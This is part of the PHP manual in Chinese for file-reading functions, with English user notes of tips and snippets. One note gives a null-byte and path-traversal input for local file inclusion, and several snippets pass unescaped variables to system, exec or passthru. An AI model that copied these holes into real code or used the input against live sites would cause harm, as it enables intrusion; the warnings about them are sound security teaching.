Macintosh line endings mentioned in docs refer to Mac OS Classic. You don't need this setting for interoperability with unixish OS X.
tavernadelleidee[italy]
09-Mar-2006 07:44
I think that the quickest way of read a (long) file with the rows in  reverse order is

<?php
$myfile = 'myfile.txt';
$command = "tac $myfile > /tmp/myfilereversed.txt";
passthru($command);
$ic = 0;
$ic_max = 100;  // stops after this number of rows
$handle = fopen("/tmp/myfilereversed.txt", "r");
while (!feof($handle) && ++$ic<=$ic_max) {
   $buffer = fgets($handle, 4096);
   echo $buffer."<br>";
}
fclose($handle);
?>

It echos the rows while it is reading the file so it is good for long files like logs.

Borgonovo
ecvej
05-Jan-2006 05:20
I would have expected the same behaviour from these bits of code:-

<?php

/*This times out correctly*/
while (!feof($fp)) {
   echo fgets($fp);
}

/*This times out before eof*/
while ($line=fgets($fp)) {
   echo $line;
}

/*A reasonable fix is to set a long timeout*/
stream_set_timeout($fp, 180);
while ($line=fgets($fp)) {
   echo $line;
}
?>
hackajar <matt> yahoo <trot> com
06-Dec-2005 04:17
When working with VERY large files, php tends to fall over sideways and die.

Here is a neat way to pull chunks out of a file very fast and won't stop in mid line, but rater at end of last known line.  It pulled a 30+ million line 900meg file through in ~ 24 seconds.

NOTE:
$buf just hold current chunk of data to work with.  If you try "$buf .=" (note 'dot' in from of '=') to append $buff, script will come to grinding crawl around 100megs of data, so work with current data then move on!

//File to be opened
$file = "huge.file";
//Open file (DON'T USE a+ pointer will be wrong!)
$fp = fopen($file, 'r');
//Read 16meg chunks
$read = 16777216;
//\n Marker
$part = 0;

while(!feof($fp)) {
   $rbuf = fread($fp, $read);
   for($i=$read;$i > 0 || $n == chr(10);$i--) {
       $n=substr($rbuf, $i, 1);
       if($n == chr(10))break;
       //If we are at the end of the file, just grab the rest and stop loop
       elseif(feof($fp)) {
           $i = $read;
           $buf = substr($rbuf, 0, $i+1);
           break;
       }
   }
   //This is the buffer we want to do stuff with, maybe thow to a function?
   $buf = substr($rbuf, 0, $i+1);
   //Point marker back to last \n point
   $part = ftell($fp)-($read-($i+1));
   fseek($fp, $part);
}
fclose($fp);
kpeters AT-AT monolithss DEE OH TEE com
01-Dec-2005 09:51
It appears that fgets() will return FALSE on EOF (before feof has a chance to read it), so this code will throw an exception:

while (!feof($fh)) {
  $line = fgets($fh);
  if ($line === false) {
   throw new Exception("File read error");
  }
}
dandrews OVER AT 3dohio DOT com
08-Jan-2005 03:11
Saku's example may also be used like this:

<?php
 @ $pointer = fopen("$DOCUMENT_ROOT/foo.txt", "r"); // the @ suppresses errors so you have to test the pointer for existence
   if ($pointer) {
     while (!feof($pointer)) {
         $preTEXT = fgets($pointer, 999);
         // $TEXT .= $preTEXT;  this is better for a string
       $ATEXT[$I] = $preTEXT;  // maybe better as an array
       $I++;
     }
     fclose($pointer);
   }
?>
angelo [at] mandato <dot> com
19-Nov-2004 10:43
Sometimes the strings you want to read from a file are not separated by an end of line character.  the C style getline() function solves this.  Here is my version:
<?php
function getline( $fp, $delim )
{
   $result = "";
   while( !feof( $fp ) )
   {
       $tmp = fgetc( $fp );
       if( $tmp == $delim )
           return $result;
       $result .= $tmp;
   }
   return $result;
}

// Example:
$fp = fopen("/path/to/file.ext", 'r');
while( !feof($fp) )
{
   $str = getline($fp, '|');
   // Do something with $str
}
fclose($fp);
?>
lelkesa
04-Nov-2004 06:54
Note that - afaik - fgets reads a line until it reaches a line feed (\\n). Carriage returns (\\r) aren't processed as line endings.
However, nl2br insterts a <br /> tag before carriage returns as well.
This is useful (but not nice - I must admit) when you want to store a more lines in one.
<?php
function write_lines($text) {
  $file = fopen('data.txt', 'a');
  fwrite($file, str_replace("\n", ' ', $text)."\n");
  fclose($file);
}

function read_all() {
  $file = fopen('data.txt', 'r');
  while (!feof($file)) {
   $line = fgets($file);
   echo '<u>Section</u><p>nl2br'.($line).'</p>';
  }
  fclose($file);
}
?>

Try it.
06-Sep-2004 06:05
If you need to simulate an un-buffered fgets so that stdin doesnt hang there waiting for some input (i.e. it reads only if there is data available) use this :
<?php

   function fgets_u($pStdn) {

           $pArr = array($pStdn);

       if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
           print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
           return FALSE;
       } elseif ($num_changed_streams > 0) {
               return trim(fgets($pStdn, 1024));
       }

   }

?>
rstefanowski at wi dot ps dot pl
13-Aug-2004 12:03
Take note that fgets() reads 'whole lines'. This means that if a file pointer is in the middle of the line (eg. after fscanf()), fgets() will read the following line, not the remaining part of the currnet line. You could expect it would read until the end of the current line, but it doesn't. It skips to the next full line.
timr
17-Jun-2004 10:13
If you need to read an entire file into a string, use file_get_contents().  fgets() is most useful when you need to process the lines of a file separately.
Saku
05-Jun-2004 08:47
As a beginner I would have liked to see "how to read a file into a string for use later and not only how to directly echo the fgets() result. This is what I derived:
<?php
 @ $pointer = fopen("$DOCUMENT_ROOT/foo.txt", "r"); // the @ suppresses errors so you have to test the pointer for existence
   if ($pointer) {
     while (!feof($pointer)) {
         $preTEXT = fgets($pointer, 999);
         $TEXT = $TEXT . $preTEXT;
     }
     fclose($pointer);
   }
?>
flame
22-May-2004 11:44
fread is binary safe, if you are stuck with a pre 4.3 version of PHP.
Pete
23-Feb-2004 08:35
If you have troubles reading binary data with versions <= 4.3.2 then upgrade to 4.3.3
The binary safe implementation seems to have had bugs which were fixed in 4.3.3
add a note add a note

后退 | 起点 | 前进
fgetcsv | 上一级 | fgetss


fgetss

(PHP 3, PHP 4, PHP 5)

fgetss -- 从文件指针中读取一行并过滤掉 HTML 标记

说明

string fgetss ( resource handle [, int length [, string allowable_tags]] )

和 fgets() 相同，只除了 fgetss 尝试从读取的文本中去掉任何 HTML 和 PHP 标记。

可以用可选的第三个参数指定哪些标记不被去掉。

注: allowable_tags 是 PHP 3.0.13，PHP 4.0.0 新加的。

参数 length 从 PHP 5 起开始可选。

注: 如果碰到 PHP 在读取文件时不能识别 Macintosh 文件的行结束符，可以激活 auto_detect_line_endings 运行时配置选项。

参见 fgets()，fopen()，fsockopen()，popen() 和 strip_tags()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fgets | 上一级 | file_exists


file_exists

(PHP 3, PHP 4, PHP 5)

file_exists -- 检查文件或目录是否存在

说明

bool file_exists ( string filename )

如果由 filename 指定的文件或目录存在则返回 TRUE，否则返回 FALSE。

在 Windows 中要用 //computername/share/filename 或者 \\computername\share\filename 来检查网络中的共享文件。

例子 1. 测试一个文件是否存在

<?php
$filename = '/path/to/foo.txt';

if (file_exists($filename)) {
    echo "The file $filename exists";
} else {
    echo "The file $filename does not exist";
}
?>

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

警告

如果因为安全模式的限制而导致不能访问文件的话，该函数会返回 FALSE。然而，如果文件在 safe_mode_include_dir 所指定的目录内的话，仍然可以使用 include 来包含。

参见 is_readable()，is_writable()，is_file() 和 file()。

add a note add a note User Contributed Notes
sirarthur at sirarthur dot info
11-May-2006 03:04
The following code will rename an uploaded image to a MD5 hash with a rand number added of its name and check wheter a file with same hash already exists or not:

<?php
$file = $HTTP_POST_FILES['file'];
$image=new Image($imgfld,$file);
if($image->FType != null){
if ($image->FType=="image/gif") {
$ext = ".gif";
}else{
$ext = ".jpg";
}
 $nfile = md5($image->Name . rand());
while(file_exists($imgfld . $nfile . $ext) == true){
 $nfile = md5($image->Name . rand());
}
 $image->ResizedWidth = $imggrx;
 $image->ResizedHeight = $imggry;
 $image->Resample($nfile);
?>

It uses an image class found at phpclasses.org
pilotdoofy at gmail dot com
23-Apr-2006 04:35
I wrote a very simple function that allows you to search a folder for a file name with a regular expression. It can handle both PREG and EREG regexps and can accept different case sensitivities for EREG regexps.

function regExpFile($regExp, $dir, $regType='P', $case='') {
# Two parameters accepted by $regType are E for ereg* functions
# and P for preg* functions
$func = ( $regType == 'P' ) ? 'preg_match' : 'ereg' . $case;

# Note, technically anything other than P will use ereg* functions;
# however, you can specify whether to use ereg or eregi by
# declaring $case as "i" to use eregi rather than ereg

$open = opendir($dir);
while( ($file = readdir($open)) !== false ) {
if ( $func($regExp, $file) ) {
return true;
}
} // End while
return false;
} // End function

Basically if you supply anything but "P" for $regType it will assume you're using EREG regexps. The case should only be blank or "i".
hiro at arkusa dot com
08-Feb-2006 05:23
As of php 5.0.4, many (if not all) php file manipulation functions fail if a file's size is no smaller than 2GB (i.e. 2^31) on the x86 platforms. Even file_exists() fails (always returns FALSE). This puzzled me when I was writing a video file manipulation application.

A simple alternative is like:

function file_exists_2gb($filename) {
   system("test -f $filename", $rval);
   return ($rval == 0);
}
08-Jan-2006 05:08
I wrote this little handy function to check if an image exists in a directory, and if so, return a filename which doesnt exists e.g. if you try 'flower.jpg' and it exists, then it tries 'flower[1].jpg' and if that one exists it tries 'flower[2].jpg' and so on. It works fine at my place. Ofcourse you can use it also for other filetypes than images.

<?php
function imageExists($image,$dir) {

   $i=1; $probeer=$image;

   while(file_exists($dir.$probeer)) {
       $punt=strrpos($image,".");
       if(substr($image,($punt-3),1)!==("[") && substr($image,($punt-1),1)!==("]")) {
           $probeer=substr($image,0,$punt)."[".$i."]".
           substr($image,($punt),strlen($image)-$punt);
       } else {
           $probeer=substr($image,0,($punt-3))."[".$i."]".
           substr($image,($punt),strlen($image)-$punt);
       }
       $i++;
   }
   return $probeer;
}
?>
Fabrizio (staff at bibivu dot com)
22-Dec-2005 10:11
here a function to check if a certain URL exist:
<?php
   function url_exists($url) {
       $a_url = parse_url($url);
       if (!isset($a_url['port'])) $a_url['port'] = 80;
       $errno = 0;
       $errstr = '';
       $timeout = 30;
       if(isset($a_url['host']) && $a_url['host']!=gethostbyname($a_url['host'])){
           $fid = fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
           if (!$fid) return false;
           $page = isset($a_url['path'])  ?$a_url['path']:'';
           $page .= isset($a_url['query'])?'?'.$a_url['query']:'';
           fputs($fid, 'HEAD '.$page.' HTTP/1.0'."\r\n".'Host: '.$a_url['host']."\r\n\r\n");
           $head = fread($fid, 4096);
           fclose($fid);
           return preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head);
       } else {
           return false;
       }
   }
?>

in my CMS, I am using it with those lines:
<?php
       if(!isset($this->f_exist[$image]['exist']))
           if(strtolower(substr($fimage,0,4)) == 'http' || strtolower(substr($fimage,0,4)) == 'www.'){
               if(strtolower(substr($image,0,4)) == 'www.'){
                   $fimage = 'http://'.$fimage;
                   $image = 'http://'.$image;
               }
               $this->f_exist[$image]['exist'] = $this->url_exists($fimage); //for now
           } else {
               $this->f_exist[$image]['exist'] = ($fimage!='' && file_exists($fimage) && is_file($fimage) && is_readable($fimage) && filesize($fimage)>0);
           }
       }
?>
flobee
13-Dec-2005 08:24
file_exists overwrites the last access (atime) !
try:
if (@fclose(@fopen( $file, "r"))) {
                     // true;
                 } else {
                     // false;
                 }
to check if important for you
ihoss dot com at gmail dot com
19-Oct-2005 10:37
The following script checks if there is a file with the same name and adds _n to the end of the file name, where n increases. if img.jpg is on the server, it tries with img_0.jpg, checks if it is on the server and tries with img_1.jpg.
<?php
  $img = "images/".$_FILES['bilde']['name'];
  $t=0;
  while(file_exists($img)){
   $img = "images/".$_FILES['bilde']['name'];
   $img=substr($img,0,strpos($img,"."))."_$t".strstr($img,".");
   $t++;
  }
  move_uploaded_file($_FILES['bilde']['tmp_name'], $img);
?>
phenbach at phenbach dot com
20-Sep-2005 06:37
I recently had an issue with PLESK and copying file to other directories with the move_uploaded file function.

This would work on every linux server except plesk servers. I could figure it out and have yet to find out.  I had to create a work a round and decided to use the exec() function.

As noted above the file_exist() function must need to wait for some time and I found the looking function a waste of resouces and didn't work for me anyway. So this is what I came up with.

function cp($source,$destination){

$cmd="cp -u ".$source ." ".$destination; //create the command string to copy with the update option
exec($cmd); //exec command
$cmd_test="ls -la ".$destination; //list file
exec($cmd_test,$out);
//If the file is present it $out[0] key will contain the file info.
//if it is not present it will be null
if (isset($out[0])){
     return true;
}else{
     return false;
}
   }
davidc at php dot net
14-Sep-2005 04:05
Also while using the file_exists file, please make sure you do not start using stuff like,

<?php

if(file_exists($_GET['file'] . '.php')) {
   include($_GET['file'] . '.php';
}

?>

you could use something like this..

<?php
   $inrep = "./";
   $extfichier = ".php";
   $page = $inrep.basename(strval($_REQUEST["page"]),$extfichier).extfichier;
   if(file_exist($page)) {
       include($page);
   }
?>

or even hardcode it.

  So since pretty much all commercial server(s) have url_fopen on.. you can imagine that file_exists($_GET['file']. '.php')
is rather .. unsecure :)

-David Coallier
tma at 2p dot cz
24-Aug-2005 04:47
If checking for a file newly created by an external program in Windows then file_exists() does not recognize it immediately.  Iy seems that a short timeout may be required.

<?
   $file = 'file.tmp';
   if ($h = popen("start \"bla\" touch $file", "r")) {
     pclose($h);
   // now I would like know if a file was created
   // note: usleep not supported
     $start = gettimeofday();
     while (!file_exists(trim($file, " '\""))) {
       $stop = gettimeofday();
       if ( 1000000 * ($stop['sec'] - $start['sec']) + $stop['usec'] - $start['usec'] > 500000) break;  // wait a moment
     }

     if (file_exists($file))  // now should be reliable
?>
09-Aug-2005 10:20
That is true feshi. But, if you have your server configured correctly, those access logs will only be accessible by an admin or the root account. The webuser account that runs the php script will be unable to start reading from that file. That's the easiest fix.
feshi
04-Aug-2005 06:34
this code looks inocent

<?php
$filename=$_REQUEST["var"];
$filename .= ".data";
file_exist($filename){
  include($filename);
}
?>

but if you pass something like script.php?var=test%00asbs
it should really can do bad things like including accesslog files if you replace "test" with something like "../logs/accesslog"
joe dot knall at gmx dot net
16-Mar-2005 07:59
concerning file_exists and safe_mode:
if safe_mode=ON and $file (in safe_mode_include_dir) is not owned by the user who executes file_exists($file), file_exists returns FALSE but still $file can be included;
I could handle this by setting safe_mode_gid=On and appropriate group-ownership
07-Mar-2005 06:00
Nathaniel, you should read the manual carefuly next time prior to posting anything here, as all you indicated is the fact you missed the idea of the include_path. To remind - include_path is for some functions only, mainly intended for include and require to simpify include/require operations (kinda way the #include works). It is NOT for any filesystem function, which would be damn annoying than helpful, which is quite understandable and obvious.
andrewNOSPAMPLEASE at abcd dot NOSPAMERSca
11-Feb-2005 09:29
file_exists will have trouble finding your file if the file permissions are not read enabled for 'other' when not owned by your php user. I thought I was having trouble with a directory name having a space in it (/users/andrew/Pictures/iPhoto Library/AlbumData.xml) but the reality was that there weren't read permissions on Pictures, iPhoto Library or AlbumData.xml. Once I fixed that, file_exists worked.
Nathaniel
09-Feb-2005 01:08
I spent the last two hours wondering what was wrong with my if statement: file_exists($file) was returning false, however I could call include($file) with no problem.

It turns out that I didn't realize that the php include_path value I had set in the .htaccess file didn't carry over to file_exists, is_file, etc.

Thus:

<?PHP
// .htaccess php_value include_path '/home/user/public_html/';

// includes lies in /home/user/public_html/includes/

//doesn't work, file_exists returns false
if ( file_exists('includes/config.php') )
{
     include('includes/config.php');
}

//does work, file_exists returns true
if ( file_exists('/home/user/public_html/includes/config.php') )
{
   include('includes/config.php');
}
?>

Just goes to show that "shortcuts for simplicity" like setting the include_path in .htaccess can just cause more grief in the long run.
ceo at l-i-e dot com
03-Dec-2004 07:44
Prior to 4.3.2, and 4.3.3 with open_basedir, this function generated an error/warning message when the file/directory in question did not exist.
aidan at php dot net
11-Apr-2004 12:46
If you'd like to check if a file exists anywhere your include path, have a look at this function:

http://aidan.dotgeek.org/lib/?file=function.file_exists_incpath.php
alex at raynor nospam dot ru
05-Apr-2004 11:16
If you use open_basedir in php.ini and use file_exists for file outside open_basedir path, you will not be warned at log and file_exists returns false even if file really exists.
12-Feb-2004 10:32
On nix systems file_exists will report a link that doesn't point to a valid file as non-existant, ie: the link itself exists but the file it points to does not.  Using is_link will report true whether the link points to a valid file or not.
add a note add a note

后退 | 起点 | 前进
fgetss | 上一级 | file_get_contents


file_get_contents

(PHP 4 >= 4.3.0, PHP 5)

file_get_contents -- 将整个文件读入一个字符串

说明

string file_get_contents ( string filename [, bool use_include_path [, resource context [, int offset [, int maxlen]]]] )

和 file() 一样，只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败，file_get_contents() 将返回 FALSE。

file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。

注: 如果要打开有特殊字符的 URL （比如说有空格），就需要使用 urlencode() 进行 URL 编码。

注: context 参数可以用 NULL 来忽略。

更新日志

版本 | 说明
5.0.0 | 添加了对 context 的支持。
5.1.0 | 添加了 offset 和 maxlen 参数。

注释

注: 本函数可安全用于二进制对象。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

注: 对 context 的支持是 PHP 5.0.0 添加的。有关 context 的说明请参考参考 CXLI, Stream Functions。

警告

当使用 SSL 时，Microsoft IIS 将违反协议不发送 close_notify 标记就关闭连接。PHP 将在到达数据尾端时报告 "SSL: Fatal Protocol Error"。要绕过此问题，应将 error_reporting 级别降低为不包括警告。PHP 4.3.7 及更高版本可以在当使用 https:// 封装协议打开流的时候检测出有此问题的 IIS 服务器并抑制警告。如果使用 fsockopen() 来创建一个 ssl:// 套接字，则需要自己检测并抑制警告信息。

参见

file()
fgets()
fread()
readfile()
file_put_contents()
stream_get_contents()

add a note add a note User Contributed Notes
richard dot quadling at bandvulc dot co dot uk
15-Nov-2005 06:47
If, like me, you are on a Microsoft network with ISA server and require NTLM authentication, certain applications will not get out of the network. SETI@Home Classic and PHP are just 2 of them.

The workaround is fairly simple.

First you need to use an NTLM Authentication Proxy Server. There is one written in Python and is available from http://apserver.sourceforge.net/. You will need Python from http://www.python.org/.

Both sites include excellent documentation.

Python works a bit like PHP. Human readable code is handled without having to produce a compiled version. You DO have the opportunity of compiling the code (from a .py file to a .pyc file).

Once compiled, I installed this as a service (instsrv and srvany - parts of the Windows Resource Kit), so when the server is turned on (not logged in), the Python based NTLM Authentication Proxy Server is running.

Then, and here is the bit I'm really interested in, you need to tell PHP you intend to route http/ftp requests through the NTLM APS.

To do this, you use contexts.

Here is an example.

<?php

// Define a context for HTTP.
$aContext = array(
   'http' => array(
       'proxy' => 'tcp://127.0.0.1:8080', // This needs to be the server and the port of the NTLM Authentication Proxy Server.
       'request_fulluri' => True,
       ),
   );
$cxContext = stream_context_create($aContext);

// Now all file stream functions can use this context.

$sFile = file_get_contents("http://www.php.net", False, $cxContext);

echo $sFile;
?>

Hopefully this helps SOMEONE!!!
aidan at php dot net
31-Jan-2005 03:23
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
file_exists | 上一级 | file_put_contents


file_put_contents

(PHP 5)

file_put_contents -- 将一个字符串写入文件

说明

int file_put_contents ( string filename, string data [, int flags [, resource context]] )

和依次调用 fopen()，fwrite() 以及 fclose() 功能一样。

参数 data 可以是数组（但不能为多元数组），这就相当于 file_put_contents($filename, join('', $array))

自 PHP 5.1.0 起，data 参数也可以被指定为 stream 资源，这里 stream 中所保存的缓存数据将被写入到指定文件中，这种用法就相似于使用 stream_copy_to_stream() 函数。

参数

filename

要被写入数据的文件名

data

要写入的数据。类型可以是 string、 array 或者是 stream 资源（如上面所说的那样）.

flags

flags 可以是 FILE_USE_INCLUDE_PATH, FILE_APPEND 和/或 LOCK_EX （获得一个独占锁定），然而使用 FILE_USE_INCLUDE_PATH 时要特别谨慎。

context

一个 context 资源

返回值

该函数将返回写入到文件内数据的字节数

更新日志

版本 | 说明
5.1.0 | 添加了对 LOCK_EX 的支持和 data 参数处理 stream 资源的功能。

注释

注: 本函数可安全用于二进制对象。

注: 对 context 的支持是 PHP 5.0.0 添加的。有关 context 的说明请参考参考 CXLI, Stream Functions。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

参见

fopen()
fwrite()
file_get_contents()

add a note add a note User Contributed Notes
sendoshin at awswan dot com
06-Mar-2006 03:01
To clear up what was said by pvenegas+php at gmail dot com on 11-Oct-2005 08:13, file_put_contents() will replace the file by default.  Here's the complete set of rules this function follows when accessing a file:

1.  Was FILE_USE_INCUDE_PATH passed in the call?  If so, check the include path for an existing copy of *filename*.

2.  Does the file already exist?  If not, first create it in the current working directory.  Either way, open the file.

3.  Was LOCK_EX passed in the call?  If so, lock the file.

4.  Was the function called with FILE_APPEND?  If not, clear the file's contents.  Otherwise, move to the end of the file.

5.  Write *data* into the file.

6.  Close the file and release any locks.

If you don't want to completely replace the contents of the file you're writing to, be sure to use FILE_APPEND (same as fopen() with 'a') in the *flags*.  If you don't, whatever used to be there will be gone (fopen() with 'w').

Hope that helps someone (and that it makes sense ^^)!

- Sendoshin
pvenegas+php at gmail dot com
12-Oct-2005 10:13
Note that if the specified file already exists, this function effectively discards its contents (equivalent to fopen with 'w') and inserts the new data. The documentation doesn't say this explicitly, so this might help those who are unsure.
Jared Kuolt
05-Mar-2005 04:14
Note that this function will create the file if it does not exists, assuming PHP has write access to the folder.
aidan at php dot net
21-May-2004 10:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
file_get_contents | 上一级 | file


file

(PHP 3, PHP 4, PHP 5)

file -- 把整个文件读入一个数组中

说明

array file ( string filename [, int use_include_path [, resource context]] )

和 readfile() 一样，只除了 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行，包括换行符在内。如果失败 file() 返回 FALSE。

如果也想在 include_path 中搜寻文件的话，可以将可选参数 use_include_path 设为 "1"。

<?php
// 将一个文件读入数组。本例中通过 HTTP 从 URL 中取得 HTML 源文件。
$lines = file('http://www.example.com/');
// 在数组中循环，显示 HTML 的源文件并加上行号。
foreach ($lines as $line_num => $line) {
    echo "Line #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />\n";
}
// 另一个例子将 web 页面读入字符串。参见 file_get_contents()。
$html = implode('', file ('http://www.example.com/'));
?>

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

注: 返回的数组中每一行都包括了行结束符，因此如果不需要行结束符时还需要使用 rtrim() 函数。

注: 如果碰到 PHP 在读取文件时不能识别 Macintosh 文件的行结束符，可以激活 auto_detect_line_endings 运行时配置选项。

注: 从 PHP 4.3.0 开始可以用 file_get_contents() 来将文件读入到一个字符串返回。

从 PHP 4.3.0 开始 file() 可以安全用于二进制文件。

注: 对 context 的支持是 PHP 5.0.0 添加的。有关 context 的说明请参考参考 CXLI, Stream Functions。

警告

当使用 SSL 时，Microsoft IIS 将违反协议不发送 close_notify 标记就关闭连接。PHP 将在到达数据尾端时报告 "SSL: Fatal Protocol Error"。要绕过此问题，应将 error_reporting 级别降低为不包括警告。PHP 4.3.7 及更高版本可以在当使用 https:// 封装协议打开流的时候检测出有此问题的 IIS 服务器并抑制警告。如果使用 fsockopen() 来创建一个 ssl:// 套接字，则需要自己检测并抑制警告信息。

参见 readfile()，fopen()，fsockopen()，popen()，file_get_contents() 和 include()。

add a note add a note User Contributed Notes
jonathan dot gotti at free dot fr
01-Feb-2006 06:52
you can use
$file = array_map('rtrim',file('myfile.txt'));
to remove annoying ending lines of the resulting array.
Nuts
19-Jan-2006 07:16
WARNING ON WINDOWS:
file() function will add "\r\n" in to the end of the row, even if you use only "\n" char to make rows in the file!

On UNIX systems there is no such problem.
redzia
08-Feb-2005 11:55
Example usage of file to remove line containing a key string
<?

$key = "w3ty8l";

//load file into $fc array

$fc=file("some.txt");

//open same file and use "w" to clear file

$f=fopen("some.txt","w");

//loop through array using foreach

foreach($fc as $line)
{
     if (!strstr($line,$key)) //look for $key in each line
           fputs($f,$line); //place $line back in file
}
fclose($f);

?>
Jason dot haymer at Haymer dot co dot uk
14-Jan-2005 12:58
Beware of using file() to call a URL from a remote server on a live Web site, as there is no way to set a maximum connection time.

To exemplify this I cite the circumstance of a Web site which receives content from a remote server in the form of an XML feed. If the remote server does not respond, the Web page will hang and if this is a regular occurance, the parts of the Web site which use the feed may often prove inaccessible to search engine robots, possibly resulting in their removal from the search engine indices.

Here is an alternative function which like file() can be used to retrieve a remote feed, but which imposes a maximum connection time, after which the page will be displayed without the feed.

<?

function fetchUrlWithoutHanging($url)
   {
   // Set maximum number of seconds (can have floating-point) to wait for feed before displaying page without feed
   $numberOfSeconds=4;

   // Suppress error reporting so Web site visitors are unaware if the feed fails
   error_reporting(0);

   // Extract resource path and domain from URL ready for fsockopen

   $url = str_replace("http://","",$url);
   $urlComponents = explode("/",$url);
   $domain = $urlComponents[0];
   $resourcePath = str_replace($domain,"",$url);

   // Establish a connection
   $socketConnection = fsockopen($domain, 80, $errno, $errstr, $numberOfSeconds);

   if (!$socketConnection)
       {
       // You may wish to remove the following debugging line on a live Web site
       print("<!-- Network error: $errstr ($errno) -->");
       }    // end if
   else    {
       $xml = '';
       fputs($socketConnection, "GET /$resourcePath HTTP/1.0\r\nHost: $domain\r\n\r\n");

       // Loop until end of file
       while (!feof($socketConnection))
           {
           $xml .= fgets($socketConnection, 128);
           }    // end while

       fclose ($socketConnection);

       }    // end else

   return($xml);

   }    // end function

?>
andyg at stingrayboats dot com
22-Jul-2004 04:27
i tried for quite sometime to get my pdf to attach right some of you may want to try reading it as binary first then base 64 it.

//this did not work for me with a pdf file it came in garbled
$data = chunk_split(base64_encode(implode("", file($filelocation))));
//but tis seemed to make it work correctly
$data = fread($file,filesize($filelocation));
   fclose($file);
   $data = chunk_split(base64_encode($data));
kangaroo232002 at yahoo dot co dot uk
18-Jun-2004 08:03
Instead of using file() for parsing ini / conf files, as shown in mvanbeek at supporting-role dot co dot uk's example below (above?), a great function that puts all your conf info into an associative array is parse_ini_file($filename); very useful !

ian.
J at TIPPELL dot com
12-Jun-2004 10:18
heres a little script to return a random quote from a quotes file.

<?php
$textfile = "Includes/Quotes.txt";      //quotes file
if ($quotes = @file("$textfile")) {    //don't display errors on file open
   $quote = rand(0, sizeof($quotes)-1);
   echo $quotes[$quote];                //echo a random quote
}else{
   echo ("default quote");          //if quotes file wasn't found, echo out a default quote
}
?>
skipjack at skipjack dot info
12-Feb-2004 06:45
this a little function I wrote that checks if two ascii files are the same.
it opens the file then removes the spaces then coverts the crc32 to base 10 and compares the results.
function fcheck($tool)
{    if(fopen("file.01", "r") != FALSE){
   $fp1 = 'file.02';
   $fp = 'semcond.01';

   $data = implode(" ", file($fp));
   $data1 = implode(" ", file($fp1));
   $test1 = (dechex(crc32($data)));
   $test2 = (dechex(crc32($data1)));
     if($test1 == $test2)
         $sfv_checksum = 'TRUE';
           else
             $sfv_checksum = 'FALSE';
         return $sfv_checksum;
   }

}
mvanbeek at supporting-role dot co dot uk
01-Jan-2004 01:39
I needed a cross platform config file for a project using both perl and php, so I used the perl script in the Perl Cookbook, and wrote the following PHP script. This going in an include file that all the PHP files reference, so the only thing that needs to be do for set up, is to set the location of the config file.

$filename = "/opt/ssis/includes/ssis-config";
$config = file($filename);
reset ($config);
foreach ($config as $line)
     {
     if ( $line == "" ) next($config);          # Ignore blankline
     elseif ( $line == "\n" ) next($config);      # Ignore newline
     elseif ( strstr($line,"#")) next($config); # Ignore comments
     else
         {
         $line = rtrim($line);  # Get rid of newline characters
         $line = ltrim($line);  # Get rid of any leading spaces
         $value = preg_split("/\s*=\s*/", $line, 2); # split by "=" and removing blank space either side of it.
         ${Settings}["$value[0]"] = $value[1]; # Create a new array with all the values.
         }
     }

I am sure there is a neater way of doing it, but all the Config libaries floating arround seemed very complicated. All the config file needs is a series of lines ( key = value ) in plain text.
global-thenumberafterzero at nospam dot web dot de
31-Oct-2003 11:21
If you want a more powerful tool to open files you may want to use the curllib functions. If curllib is installed on your Server it is probably the best (but not fastest) tool for opening files. More information you can find here:

http://curl.haxx.se
or on php.net:
http://de.php.net/manual/de/ref.curl.php
dir @ badblue com
13-Sep-2003 05:48
Jeff's array2file function is a good start; here are a couple of improvements (no possibility of handle leak when fwrite fails, additional capability of both string2file and array2file; presumably faster performance through use of implode).

function String2File($sIn, $sFileOut) {
  $rc = false;
  do {
   if (!($f = fopen($sFileOut, "wa+"))) {
     $rc = 1; break;
   }
   if (!fwrite($f, $sIn)) {
     $rc = 2; break;
   }
   $rc = true;
  } while (0);
  if ($f) {
   fclose($f);
  }
  return ($rc);
}

function Array2File($aIn, $sFileOut) {
  return (String2File(implode("\n", $aIn), $sFileOut));
}

If you're generating your string text using a GET or POST from a TEXTAREA (e.g., a mini-web-text-editor), remember that strip_slashes and str_replace of "/r/n" to "/n" may be necessary as well using these functions.

HTH --dir @ badblue com
hhw
23-Aug-2003 11:43
The following function can handle text files whose line endings are whatever <LF> (*nix), <CR><LF> (M$) or <CR> (Mac)

function file2($filename) {
       $fp = fopen($filename, "rb");
       $buffer = fread($fp, filesize($filename));
       fclose($fp);
       $lines = preg_split("/\r?\n|\r/", $buffer);
       return $lines;
}
John
21-Jul-2003 07:32
after many months of confusion and frustration, i have finally figured out something that i should have noticed the first time around.

you can't file("test.txt") when that same file has been flocked. i guess i didn't have a full understanding of what i was doing when i used flock(). all i had to do was move the flock() around, and all was well.
webmaster AT the-afterburner DOT de
25-Mar-2003 08:35
